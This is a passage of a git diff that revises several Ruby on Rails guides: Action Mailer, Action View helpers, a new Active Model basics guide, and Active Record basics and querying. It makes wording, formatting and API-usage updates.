multibyte characters inside of headers and bodies. -If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and ActionMailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. +If you are using UTF-8 as your character set, you do not have to do anything special, just go ahead and send in UTF-8 data to the address fields, subject, keywords, filenames or body of the email and Action Mailer will auto encode it into quoted printable for you in the case of a header field or Base64 encode any body parts that are non US-ASCII. For more complex examples such as defining alternate character sets or self encoding text first, please refer to the Mail library. @@ -213,7 +211,7 @@ NOTE: If you specify an encoding, Mail will assume that your content is already h5. Making Inline Attachments -ActionMailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. +Action Mailer 3.0 makes inline attachments, which involved a lot of hacking in pre 3.0 versions, much simpler and trivial as they should be. * Firstly, to tell Mail to turn an attachment into an inline attachment, you just call <tt>#inline</tt> on the attachments method within your Mailer: @@ -242,32 +240,33 @@ end h5. Sending Email To Multiple Recipients -It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The <tt>to:</tt> key however expects a string so you have join the list of recipients using a comma. +It is possible to send email to one or more recipients in one email (for e.g. informing all admins of a new signup) by setting the list of emails to the <tt>:to</tt> key. The list of emails can be an array of email addresses or a single string with the addresses separated by commas. <ruby> - class AdminMailer < ActionMailer::Base - default :to => Admin.all.map(&:email).join(", "), - :from => "notification@example.com" +class AdminMailer < ActionMailer::Base + default :to => Admin.all.map(&:email), + :from => "notification@example.com" - def new_registration(user) - @user = user - mail(:subject => "New User Signup: #{@user.email}") - end + def new_registration(user) + @user = user + mail(:subject => "New User Signup: #{@user.email}") end +end </ruby> +The same format can be used to set carbon copy (Cc:) and blind carbon copy (Bcc:) recipients, by using the <tt>:cc</tt> and <tt>:bcc</tt> keys respectively. + h5. Sending Email With Name Sometimes you wish to show the name of the person instead of just their email address when they receive the email. The trick to doing that is to format the email address in the format <tt>"Name <email>"</tt>. <ruby> - def welcome_email(user) - @user = user - email_with_name = "#{@user.name} <#{@user.email}>" - mail(:to => email_with_name, - :subject => "Welcome to My Awesome Site") - end +def welcome_email(user) + @user = user + email_with_name = "#{@user.name} <#{@user.email}>" + mail(:to => email_with_name, :subject => "Welcome to My Awesome Site") +end </ruby> h4. Mailer Views @@ -287,9 +286,7 @@ class UserMailer < ActionMailer::Base :subject => "Welcome to My Awesome Site", :template_path => 'notifications', :template_name => 'another') - end end - end </ruby> @@ -365,21 +362,14 @@ When using named routes you only need to supply the +:host+: Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense. -It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in the +ActionMailer::Base.default_url_options+ hash as follows: +It is also possible to set a default host that will be used in all mailers by setting the <tt>:host</tt> option as a configuration option in <tt>config/application.rb</tt>: <ruby> -class UserMailer < ActionMailer::Base - default_url_options[:host] = "example.com" - - def welcome_email(user) - @user = user - @url = user_url(@user) - mail(:to => user.email, - :subject => "Welcome to My Awesome Site") - end -end +config.action_mailer.default_url_options = { :host => "example.com" } </ruby> +If you use this setting, you should pass the <tt>:only_path => false</tt> option when using +url_for+. This will ensure that absolute URLs are generated because the +url_for+ view helper will, by default, generate relative URLs when a <tt>:host</tt> option isn't explicitly provided. + h4. Sending Multipart Emails Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.erb+ and +welcome_email.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts. @@ -404,7 +394,7 @@ Will put the HTML part first, and the plain text part second. h4. Sending Emails with Attachments -Attachments can be added by using the +attachment+ method: +Attachments can be added by using the +attachments+ method: <ruby> class UserMailer < ActionMailer::Base @@ -459,18 +449,18 @@ h3. Action Mailer Configuration The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...) -|template_root|Determines the base from which template references will be made.| -|logger|Generates information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.| -|smtp_settings|Allows detailed configuration for :smtp delivery method:<ul><li>:address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>:port - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>:domain - If you need to specify a HELO domain, you can do it here.</li><li>:user_name - If your mail server requires authentication, set the username in this setting.</li><li>:password - If your mail server requires authentication, set the password in this setting.</li><li>:authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.</li></ul>| -|sendmail_settings|Allows you to override options for the :sendmail delivery method.<ul><li>:location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.</li><li>:arguments - The command line arguments to be passed to sendmail. Defaults to -i -t.</li></ul>| -|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.| -|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, :file and :test.| -|perform_deliveries|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| -|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|+template_root+|Determines the base from which template references will be made.| +|+logger+|Generates information on the mailing run if available. Can be set to +nil+ for no logging. Compatible with both Ruby's own +Logger+ and +Log4r+ loggers.| +|+smtp_settings+|Allows detailed configuration for <tt>:smtp</tt> delivery method:<ul><li><tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li><tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li><tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.</li><li><tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.</li><li><tt>:password</tt> - If your mail server requires authentication, set the password in this setting.</li><li><tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.</li></ul>| +|+sendmail_settings+|Allows you to override options for the <tt>:sendmail</tt> delivery method.<ul><li><tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.</li><li><tt>:arguments</tt> - The command line arguments to be passed to sendmail. Defaults to <tt>-i -t</tt>.</li></ul>| +|+raise_delivery_errors+|Whether or not errors should be raised if the email fails to be delivered.| +|+delivery_method+|Defines a delivery method. Possible values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, <tt>:file</tt> and <tt>:test</tt>.| +|+perform_deliveries+|Determines whether deliveries are actually carried out when the +deliver+ method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.| +|+deliveries+|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| h4. Example Action Mailer Configuration -An example would be adding the following to your appropriate <tt>config/environments/env.rb</tt> file: +An example would be adding the following to your appropriate <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :sendmail @@ -485,7 +475,7 @@ config.action_mailer.raise_delivery_errors = true h4. Action Mailer Configuration for GMail -As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/env.rb</tt> file: +As Action Mailer now uses the Mail gem, this becomes as simple as adding to your <tt>config/environments/$RAILS_ENV.rb</tt> file: <ruby> config.action_mailer.delivery_method = :smtp @@ -517,14 +507,10 @@ class UserMailerTest < ActionMailer::TestCase # Test the body of the sent email contains what we expect it to assert_equal [user.email], email.to assert_equal "Welcome to My Awesome Site", email.subject - assert_match /<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded - assert_match /Welcome to example.com, #{user.name}/, email.encoded + assert_match(/<h1>Welcome to example.com, #{user.name}<\/h1>/, email.encoded) + assert_match(/Welcome to example.com, #{user.name}/, email.encoded) end end </ruby> In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. - -h3. Changelog - -* September 30, 2010: Fixed typos and reformatted Action Mailer configuration table for better understanding. "Jaime Iniesta":http://jaimeiniesta.com diff --git a/railties/guides/source/action_view_overview.textile b/railties/guides/source/action_view_overview.textile index d40e0840ce..e2b69fa0d5 100644 --- a/railties/guides/source/action_view_overview.textile +++ b/railties/guides/source/action_view_overview.textile @@ -16,7 +16,7 @@ Action View and Action Controller are the two major components of Action Pack. I Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. -Note: Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. +NOTE. Some features of Action View are tied to Active Record, but that doesn't mean that Action View depends on Active Record. Action View is an independent package that can be used with any sort of backend. h3. Using Action View with Rails @@ -454,6 +454,83 @@ input("post", "title") # => <input id="post_title" name="post[title]" size="30" type="text" value="Hello World" /> </ruby> +h4. RecordTagHelper + +This module provides methods for generating a container tag, such as a +<div>+, for your record. This is the recommended way of creating a container for render your Active Record object, as it adds an appropriate class and id attributes to that container. You can then refer to those containers easily by following the convention, instead of having to think about which class or id attribute you should use. + +h5. content_tag_for + +Renders a container tag that relates to your Active Record Object. + +For example, given +@post+ is the object of +Post+ class, you can do: + +<ruby> +<%= content_tag_for(:tr, @post) do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +This will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +</html> + +You can also supply HTML attributes as an additional option hash. For example: + +<ruby> +<%= content_tag_for(:tr, @post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</tr> +</html> + +You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given +@posts+ is an array of two +Post+ objects: + +<ruby> +<%= content_tag_for(:tr, @posts) do |post| %> + <td><%= post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<tr id="post_1234" class="post"> + <td>Hello World!</td> +</tr> +<tr id="post_1235" class="post"> + <td>Ruby on Rails Rocks!</td> +</tr> +</html> + +h5. div_for + +This is actually a convenient method which calls +content_tag_for+ internally with +:div+ as the tag name. You can pass either an Active Record object or a collection of objects. For example: + +<ruby> +<%= div_for(@post, :class => "frontpage") do %> + <td><%= @post.title %></td> +<% end %> +</ruby> + +Will generate this HTML output: + +<html> +<div id="post_1234" class="post frontpage"> + <td>Hello World!</td> +</div> +</html> + h4. AssetTagHelper This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. @@ -478,7 +555,6 @@ javascript_include_tag :monkey # => <script type="text/javascript" src="/javascripts/tail.js"></script> </ruby> - h5. register_stylesheet_expansion Register one or more stylesheet files to be included when symbol is passed to +stylesheet_link_tag+. This method is typically intended to be called from plugin initialization to register stylesheet files that the plugin installed in +public/stylesheets+. @@ -822,7 +898,7 @@ h5. select_year Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the +:start_year+ and +:end_year+ keys in the +options+. <ruby> -# Generates a select field for five years on either side of +Date.today+ that defaults to the current year +# Generates a select field for five years on either side of Date.today that defaults to the current year select_year(Date.today) # Generates a select field from 1900 to 2009 that defaults to the current year @@ -1419,10 +1495,3 @@ end Then you could create special views like +app/views/posts/show.expert.html.erb+ that would only be displayed to expert users. You can read more about the Rails Internationalization (I18n) API "here":i18n.html. - -h3. Changelog - -* May 29, 2011: Removed references to remote_* helpers - Vijay Dev -* April 16, 2011: Added 'Using Action View with Rails', 'Templates' and 'Partials' sections. "Sebastian Martinez":http://wyeworks.com -* September 3, 2009: Continuing work by Trevor Turk, leveraging the Action Pack docs and "What's new in Edge Rails":http://ryandaigle.com/articles/2007/8/3/what-s-new-in-edge-rails-partials-get-layouts -* April 5, 2009: Starting work by Trevor Turk, leveraging Mike Gunderloy's docs diff --git a/railties/guides/source/active_model_basics.textile b/railties/guides/source/active_model_basics.textile new file mode 100644 index 0000000000..9c8ad24cee --- /dev/null +++ b/railties/guides/source/active_model_basics.textile @@ -0,0 +1,205 @@ +h2. Active Model Basics + +This guide should provide you with all you need to get started using model classes. Active Model allow for Action Pack helpers to interact with non-ActiveRecord models. Active Model also helps building custom ORMs for use outside of the Rails framework. + +endprologue. + +WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. + +h3. Introduction + +Active Model is a library containing various modules used in developing frameworks that need to interact with the Rails Action Pack library. Active Model provides a known set of interfaces for usage in classes. Some of modules are explained below - + +h4. AttributeMethods + +AttributeMethods module can add custom prefixes and suffixes on methods of a class. It is used by defining the prefixes and suffixes, which methods on the object will use them. + +<ruby> +class Person + include ActiveModel::AttributeMethods + + attribute_method_prefix 'reset_' + attribute_method_suffix '_highest?' + define_attribute_methods ['age'] + + attr_accessor :age + +private + def reset_attribute(attribute) + send("#{attribute}=", 0) + end + + def attribute_highest?(attribute) + send(attribute) > 100 ? true : false + end + +end + +person = Person.new +person.age = 110 +person.age_highest? # true +person.reset_age # 0 +person.age_highest? # false + +</ruby> + +h4. Callbacks + +Callbacks gives Active Record style callbacks. This provides the ability to define the callbacks and those will run at appropriate time. After defining a callbacks you can wrap with before, after and around custom methods. + +<ruby> +class Person + extend ActiveModel::Callbacks + + define_model_callbacks :update + + before_update :reset_me + + def update + _run_update_callbacks do + # This will call when we are trying to call update on object. + end + end + + def reset_me + # This method will call when you are calling update on object as a before_update callback as defined. + end +end +</ruby> + +h4. Conversion + +If a class defines persisted? and id methods then you can include Conversion module in that class and you can able to call Rails conversion methods to objects of that class. + +<ruby> +class Person + include ActiveModel::Conversion + + def persisted? + false + end + + def id + nil + end +end + +person = Person.new +person.to_model == person #=> true +person.to_key #=> nil +person.to_param #=> nil +</ruby> + +h4. Dirty + +An object becomes dirty when an object is gone through one or more changes to its attributes and not yet saved. This gives the ability to check whether an object has been changed or not. It also has attribute based accessor methods. Lets consider a Person class with attributes first_name and last_name + +<ruby> +require 'rubygems' +require 'active_model' + +class Person + include ActiveModel::Dirty + define_attribute_methods [:first_name, :last_name] + + def first_name + @first_name + end + + def first_name=(value) + first_name_will_change! + @first_name = value + end + + def last_name + @last_name + end + + def last_name=(value) + last_name_will_change! + @last_name = value + end + + def save + @previously_changed = changes + end + +end +</ruby> + +h5. Querying object directly for its list of all changed attributes. + +<ruby> +person = Person.new +person.first_name = "First Name" + +person.first_name #=> "First Name" +person.first_name = "First Name Changed" + +person.changed? #=> true + +#returns an list of fields arry which all has been changed before saved. +person.changed #=> ["first_name"] + +#returns a hash of the fields that have changed with their original values. +person.changed_attributes #=> {"first_name" => "First Name Changed"} + +#returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field. +person.changes #=> {"first_name" => ["First Name","First Name Changed"]} +</ruby> + +h5. Attribute based accessor methods + +Track whether the particular attribute has been changed or not. + +<ruby> +#attr_name_changed? +person.first_name #=> "First Name" + +#assign some other value to first_name attribute +person.first_name = "First Name 1" + +person.first_name_changed? #=> true +</ruby> + +Track what was the previous value of the attribute. + +<ruby> +#attr_name_was accessor +person.first_name_was #=> "First Name" +</ruby> + +Track both previous and current value of the changed attribute. Returns an array if changed else returns nil + +<ruby> +#attr_name_change +person.first_name_change #=> ["First Name", "First Name 1"] +person.last_name_change #=> nil +</ruby> + +h4. Validations + +Validations module adds the ability to class objects to validate them in Active Record style. + +<ruby> +class Person + include ActiveModel::Validations + + attr_accessor :name, :email, :token + + validates :name, :presence => true + validates_format_of :email, :with => /^([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})$/i + validates! :token, :presence => true + +end + +person = Person.new(:token => "2b1f325") +person.valid? #=> false +person.name = 'vishnu' +person.email = 'me' +person.valid? #=> false +person.email = 'me@vishnuatrai.com' +person.valid? #=> true +person.token = nil +person.valid? #=> raises ActiveModel::StrictValidationFailed +</ruby> diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile index 3e46e7df9f..487f8b70f9 100644 --- a/railties/guides/source/active_record_basics.textile +++ b/railties/guides/source/active_record_basics.textile @@ -38,47 +38,48 @@ When writing applications using other programming languages or frameworks, it ma h4. Naming Conventions -By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: +By default, Active Record uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the CamelCase form, while the table name must contain the words separated by underscores. Examples: -* Database Table - Plural with underscores separating words (e.g., book_clubs) -* Model Class - Singular with the first letter of each word capitalized (e.g., BookClub) +* Database Table - Plural with underscores separating words (e.g., +book_clubs+) +* Model Class - Singular with the first letter of each word capitalized (e.g., +BookClub+) |_.Model / Class |_.Table / Schema | -|Post |posts| -|LineItem |line_items| -|Deer |deer| -|Mouse |mice| -|Person |people| +|+Post+ |+posts+| +|+LineItem+ |+line_items+| +|+Deer+ |+deer+| +|+Mouse+ |+mice+| +|+Person+ |+people+| h4. Schema Conventions Active Record uses naming conventions for the columns in database tables, depending on the purpose of these columns. -* *Foreign keys* - These fields should be named following the pattern table_id (e.g., item_id, order_id). These are the fields that Active Record will look for when you create associations between your models. -* *Primary keys* - By default, Active Record will use an integer column named "id" as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. +* *Foreign keys* - These fields should be named following the pattern +singularized_table_name_id+ (e.g., +item_id+, +order_id+). These are the fields that Active Record will look for when you create associations between your models. +* *Primary keys* - By default, Active Record will use an integer column named +id+ as the table's primary key. When using "Rails Migrations":migrations.html to create your tables, this column will be automatically created. There are also some optional column names that will create additional features to Active Record instances: -* *created_at* - Automatically gets set to the current date and time when the record is first created. -* *created_on* - Automatically gets set to the current date when the record is first created. -* *updated_at* - Automatically gets set to the current date and time whenever the record is updated. -* *updated_on* - Automatically gets set to the current date whenever the record is updated. -* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. -* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html -* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. +* +created_at+ - Automatically gets set to the current date and time when the record is first created. +* +created_on+ - Automatically gets set to the current date when the record is first created. +* +updated_at+ - Automatically gets set to the current date and time whenever the record is updated. +* +updated_on+ - Automatically gets set to the current date whenever the record is updated. +* +lock_version+ - Adds "optimistic locking":http://api.rubyonrails.org/classes/ActiveRecord/Locking.html to a model. +* +type+ - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.org/classes/ActiveRecord/Base.html +* +(table_name)_count+ - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. -NOTE: While these column names are optional they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. +NOTE: While these column names are optional, they are in fact reserved by Active Record. Steer clear of reserved keywords unless you want the extra functionality. For example, +type+ is a reserved keyword used to designate a table using Single Table Inheritance (STI). If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. h3. Creating Active Record Models -It's very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: +It is very easy to create Active Record models. All you have to do is to subclass the +ActiveRecord::Base+ class and you're good to go: <ruby> -class Product < ActiveRecord::Base; end +class Product < ActiveRecord::Base +end </ruby> -This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using an SQL sentence like: +This will create a +Product+ model, mapped to a +products+ table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. Suppose that the +products+ table was created using an SQL sentence like: <sql> CREATE TABLE products ( @@ -100,11 +101,11 @@ h3. Overriding the Naming Conventions What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. -You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used: +You can use the +ActiveRecord::Base.table_name=+ method to specify the table name that should be used: <ruby> class Product < ActiveRecord::Base - set_table_name "PRODUCT" + self.table_name = "PRODUCT" end </ruby> @@ -126,21 +127,21 @@ class Product < ActiveRecord::Base end </ruby> -h3. Reading and Writing Data +h3. CRUD: Reading and Writing Data CRUD is an acronym for the four verbs we use to operate on data: *C*reate, *R*ead, *U*pdate and *D*elete. Active Record automatically creates methods to allow an application to read and manipulate data stored within its tables. h4. Create -Active Record objects can be created from a hash, a block or have its attributes manually set after creation. The _new_ method will return a new object while _create_ will return the object and save it to the database. +Active Record objects can be created from a hash, a block or have their attributes manually set after creation. The +new+ method will return a new object while +create+ will return the object and save it to the database. -For example, given a model +User+ with attributes of +name+ and +occupation+, the _create_ method call will create and save a new record into the database: +For example, given a model +User+ with attributes of +name+ and +occupation+, the +create+ method call will create and save a new record into the database: <ruby> user = User.create(:name => "David", :occupation => "Code Artist") </ruby> -Using the _new_ method, an object can be created without being saved: +Using the +new+ method, an object can be created without being saved: <ruby> user = User.new @@ -148,9 +149,9 @@ Using the _new_ method, an object can be created without being saved: user.occupation = "Code Artist" </ruby> -A call to _user.save_ will commit the record to the database. +A call to +user.save+ will commit the record to the database. -Finally, passing a block to either create or new will return a new User object: +Finally, if a block is provided, both +create+ and +new+ will yield the new object to that block for initialization: <ruby> user = User.new do |u| @@ -164,7 +165,7 @@ h4. Read Active Record provides a rich API for accessing data within a database. Below are a few examples of different data access methods provided by Active Record. <ruby> - # return all records + # return array with all records users = User.all </ruby> @@ -204,7 +205,6 @@ Likewise, once retrieved an Active Record object can be destroyed which removes user.destroy </ruby> - h3. Validations Active Record allows you to validate the state of a model before it gets written into the database. There are several methods that you can use to check your models and validate that an attribute value is not empty, is unique and not already in the database, follows a specific format and many more. You can learn more about validations in the "Active Record Validations and Callbacks guide":active_record_validations_callbacks.html#validations-overview. diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile index 8ea06d28aa..352f23dc01 100644 --- a/railties/guides/source/active_record_querying.textile +++ b/railties/guides/source/active_record_querying.textile @@ -8,12 +8,13 @@ This guide covers different ways to retrieve data from the database using Active * Use dynamic finders methods * Check for the existence of particular records * Perform various calculations on Active Record models +* Run EXPLAIN on relations endprologue. WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in other versions of Rails. -If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records, then you will generally find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. Code examples throughout this guide will refer to one or more of the following models: @@ -69,28 +70,28 @@ The methods are: All of the above methods return an instance of <tt>ActiveRecord::Relation</tt>. -Primary operation of <tt>Model.find(options)</tt> can be summarized as: +The primary operation of <tt>Model.find(options)</tt> can be summarized as: * Convert the supplied options to an equivalent SQL query. * Fire the SQL query and retrieve the corresponding results from the database. * Instantiate the equivalent Ruby object of the appropriate model for every resulting row. -* Run +after_find+ callbacks if any. +* Run +after_find+ callbacks, if any. h4. Retrieving a Single Object -Active Record lets you retrieve a single object using five different ways. +Active Record provides five different ways of retrieving a single object. h5. Using a Primary Key -Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: +Using <tt>Model.find(primary_key)</tt>, you can retrieve the object corresponding to the specified _primary key_ that matches any supplied options. For example: <ruby> # Find the client with primary key (id) 10. client = Client.find(10) -=> #<Client id: 10, first_name: => "Ryan"> +# => #<Client id: 10, first_name: "Ryan"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id = 10) @@ -100,14 +101,14 @@ SELECT * FROM clients WHERE (clients.id = 10) h5. +first+ -<tt>Model.first</tt> finds the first record matched by the supplied options. For example: +<tt>Model.first</tt> finds the first record matched by the supplied options, if any. For example: <ruby> client = Client.first -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -121,10 +122,10 @@ h5. +last+ <ruby> client = Client.last -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -132,16 +133,16 @@ SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 <tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. -h5. +first!+ +h5(#first_1). +first!+ <tt>Model.first!</tt> finds the first record. For example: <ruby> client = Client.first! -=> #<Client id: 1, first_name: "Lifo"> +# => #<Client id: 1, first_name: "Lifo"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients LIMIT 1 @@ -149,16 +150,16 @@ SELECT * FROM clients LIMIT 1 <tt>Model.first!</tt> raises +RecordNotFound+ if no matching record is found. -h5. +last!+ +h5(#last_1). +last!+ <tt>Model.last!</tt> finds the last record. For example: <ruby> client = Client.last! -=> #<Client id: 221, first_name: "Russel"> +# => #<Client id: 221, first_name: "Russel"> </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 @@ -170,15 +171,15 @@ h4. Retrieving Multiple Objects h5. Using Multiple Primary Keys -<tt>Model.find(array_of_primary_key)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: +<tt>Model.find(array_of_primary_key)</tt> accepts an array of _primary keys_, returning an array containing all of the matching records for the supplied _primary keys_. For example: <ruby> # Find the clients with primary keys 1 and 10. -client = Client.find(1, 10) # Or even Client.find([1, 10]) -=> [#<Client id: 1, first_name: => "Lifo">, #<Client id: 10, first_name: => "Ryan">] +client = Client.find([1, 10]) # Or even Client.find(1, 10) +# => [#<Client id: 1, first_name: "Lifo">, #<Client id: 10, first_name: "Ryan">] </ruby> -SQL equivalent of the above is: +The SQL equivalent of the above is: <sql> SELECT * FROM clients WHERE (clients.id IN (1,10)) @@ -188,24 +189,26 @@ WARNING: <tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord:: h4. Retrieving Multiple Objects in Batches -Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. +We often need to iterate over a large set of records, as when we send a newsletter to a large set of users, or when we export data. -The following may seem very straight forward at first: +This may appear straightforward: <ruby> -# Very inefficient when users table has thousands of rows. +# This is very inefficient when the users table has thousands of rows. User.all.each do |user| NewsLetter.weekly_deliver(user) end </ruby> -But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. +But this approach becomes increasingly impractical as the table size increases, since +User.all.each+ instructs Active Record to fetch _the entire table_ in a single pass, build a model object per row, and then keep the entire array of model objects in memory. Indeed, if we have a large number of records, the entire collection may exceed the amount of memory available. -This is because +User.all.each+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. +Rails provides two methods that address this problem by dividing records into memory-friendly batches for processing. The first method, +find_each+, retrieves a batch of records and then yields _each_ record to the block individually as a model. The second method, +find_in_batches+, retrieves a batch of records and then yields _the entire batch_ to the block as an array of models. + +TIP: The +find_each+ and +find_in_batches+ methods are intended for use in the batch processing of a large number of records that wouldn't fit in memory all at once. If you just need to loop over a thousand records the regular find methods are the preferred option. h5. +find_each+ -To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: +The +find_each+ method retrieves a batch of records and then yields _each_ record to the block individually as a model. In the following example, +find_each+ will retrieve 1000 records (the current default for both +find_each+ and +find_in_batches+) and then yield each record individually to the block as a model. This process is repeated until all of the records have been processed: <ruby> User.find_each do |user| @@ -213,11 +216,15 @@ User.find_each do |user| end </ruby> -*Configuring the batch size* +h6. Options for +find_each+ + +The +find_each+ method accepts most of the options allowed by the regular +find+ method, except for +:order+ and +:limit+, which are reserved for internal use by +find_each+. + +Two additional options, +:batch_size+ and +:start+, are available as well. -Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. +*+:batch_size+* -To fetch +User+ records in batch size of +5000+: +The +:batch_size+ option allows you to specify the number of records to be retrieved in each batch, before being passed individually to the block. For example, to retrieve records in batches of 5000: <ruby> User.find_each(:batch_size => 5000) do |user| @@ -225,34 +232,38 @@ User.find_each(:batch_size => 5000) do |user| end </ruby> -*Starting batch find from a specific primary key* +*+:start+* -Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. +By default, records are fetched in ascending order of the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence whenever the lowest ID is not the one you need. This would be useful, for example, if you wanted to resume an interrupted batch process, provided you saved the last processed ID as a checkpoint. -To send newsletters only to users with the primary key starting from +2000+: +For example, to send newsletters only to users with the primary key starting from 2000, and to retrieve them in batches of 5000: 